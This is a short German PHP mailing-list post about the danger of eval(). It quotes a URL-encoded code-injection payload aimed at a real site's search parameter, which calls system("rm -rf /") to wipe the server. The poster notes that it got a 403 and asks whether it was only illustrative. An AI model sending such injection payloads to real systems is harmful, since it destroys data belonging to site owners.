[php] Wie kann ein Operator getauscht werden??

[Tobias Ratschiller]

>
http://www.exsite.de/suchen.php3?form_suchtyp=%3B+global+%24DOCUMENT_ROOT%3B
+system%28%22rm+-rf+%2F%26%22%29%3B
>

Das gibt ein 403. War das jetzt bloß zur Veranschaulichung von Ulfs "böse"
oder haben die tatsächlich ein eval() benutzt? Der Server läuft jedenfalls
noch. :)
Und was hätte das global $DOCUMENT_ROOT gebracht?

Mit freundlichen Grüßen,
  Tobias Ratschiller